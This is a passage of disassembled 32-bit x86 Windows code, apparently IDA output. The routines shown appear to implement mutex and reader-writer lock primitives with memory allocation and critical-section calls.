var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi ; dword_50F8D8


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi ; dword_50F8D8


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi	; free
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3E8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A80:				; CODE XREF: ___:loc_4012D0j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		lock cmpxchg [ecx], edx
		mov	[ebp-4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 278037Eh
		push	eax
		nop
		call	near ptr 2740C57h
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E9A0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431CAC
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431C8B:				; CODE XREF: sub_431BE0+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431C94:				; CODE XREF: sub_431BE0+7Aj
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CAC:				; CODE XREF: sub_431BE0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431BE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D10:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431E4B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431E4B
		cmp	esi, 0FFFFFFFFh
		jz	loc_431E07
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431E4B
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431D79
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431D79:				; CODE XREF: ___:00431D67j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431DED
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431DED
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431DB0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:00431D9Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431E50
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431DED:				; CODE XREF: ___:00431D7Ej
					; ___:00431D88j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431E33
; ---------------------------------------------------------------------------


loc_431E07:				; CODE XREF: ___:00431D33j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431E23
		mov	dword ptr [eax], 0
		jmp	short loc_431E28
; ---------------------------------------------------------------------------


loc_431E23:				; CODE XREF: ___:00431E19j
		mov	ebx, 10h


loc_431E28:				; CODE XREF: ___:00431E21j
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh


loc_431E33:				; CODE XREF: ___:00431DEBj
					; ___:00431E05j
		test	ebx, ebx
		jz	short loc_431E3E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E3E:				; CODE XREF: ___:00431E35j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431E50
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E4B:				; CODE XREF: ___:00431D20j
					; ___:00431D2Aj ...
		mov	eax, 16h


loc_431E50:				; CODE XREF: ___:00431D51j
					; ___:00431DBAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431EC0:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431EE3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431EE3:				; CODE XREF: ___:00431ED2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F10:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431F31
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431F31
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431F31:				; CODE XREF: ___:00431F19j
					; ___:00431F1Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F50:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431F6D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431F6D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431F6D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431F6D:				; CODE XREF: ___:00431F56j
					; ___:00431F5Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F90:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431FBA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431FBA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431FAE
		test	eax, eax
		jnz	short loc_431FBA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431FAE:				; CODE XREF: ___:00431FA5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431FBA:				; CODE XREF: ___:00431F96j
					; ___:00431F9Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FD0:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43208A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43208A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432004
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432004
		cmp	eax, 10h
		jnz	loc_43208F


loc_432004:				; CODE XREF: ___:00431FECj
					; ___:00431FF9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43208A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43208F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43207D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43204D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43204D:				; CODE XREF: ___:0043203Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43207D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43207D:				; CODE XREF: ___:0043202Aj
					; ___:0043206Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43208A:				; CODE XREF: ___:00431FD9j
					; ___:00431FE3j ...
		mov	eax, 16h


loc_43208F:				; CODE XREF: ___:00431FFEj
					; ___:0043201Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4320E0:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4321AF
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4321AF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432114
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432114
		cmp	eax, 10h
		jnz	loc_4321B4


loc_432114:				; CODE XREF: ___:004320FCj
					; ___:00432109j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4321AF
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_4321B4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4321A2
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432172
		cmp	ebx, 274Ch
		jnz	short loc_432163
		inc	dword ptr [esi+14h]


loc_432163:				; CODE XREF: ___:0043215Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432172:				; CODE XREF: ___:00432156j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4321A2
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321A2:				; CODE XREF: ___:00432143j
					; ___:00432191j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4321AF:				; CODE XREF: ___:004320E9j
					; ___:004320F3j ...
		mov	eax, 16h


loc_4321B4:				; CODE XREF: ___:0043210Ej
					; ___:00432133j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432200:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4322F6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4322F6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432237
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432237
		cmp	eax, 10h
		jnz	loc_4322FB


loc_432237:				; CODE XREF: ___:0043221Fj
					; ___:0043222Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4322F6
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_4322FB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43227B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43227B:				; CODE XREF: ___:00432267j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4322EA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432298
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432298:				; CODE XREF: ___:00432287j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4322EA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4322BB:				; CODE XREF: ___:004322D0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4322D2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4322BB


loc_4322D2:				; CODE XREF: ___:004322C9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4322ED
		mov	[esi+0Ch], edi


loc_4322EA:				; CODE XREF: ___:00432280j
					; ___:0043229Dj
		inc	dword ptr [esi+10h]


loc_4322ED:				; CODE XREF: ___:004322E5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4322F6:				; CODE XREF: ___:0043220Cj
					; ___:00432216j ...
		mov	eax, 16h


loc_4322FB:				; CODE XREF: ___:00432231j
					; ___:00432251j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432360:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432461
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432461
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432397
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432397
		cmp	eax, 10h
		jnz	loc_432466


loc_432397:				; CODE XREF: ___:0043237Fj
					; ___:0043238Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432461
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432466
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4323E1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4323E1:				; CODE XREF: ___:004323CDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_432455
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4323FE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4323FE:				; CODE XREF: ___:004323EDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432455
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_432421:				; CODE XREF: ___:0043243Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43243D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_432421


loc_43243D:				; CODE XREF: ___:00432434j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_432458
		mov	[esi+0Ch], edi


loc_432455:				; CODE XREF: ___:004323E6j
					; ___:00432403j
		inc	dword ptr [esi+10h]


loc_432458:				; CODE XREF: ___:00432450j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432461:				; CODE XREF: ___:0043236Cj
					; ___:00432376j ...
		mov	eax, 16h


loc_432466:				; CODE XREF: ___:00432391j
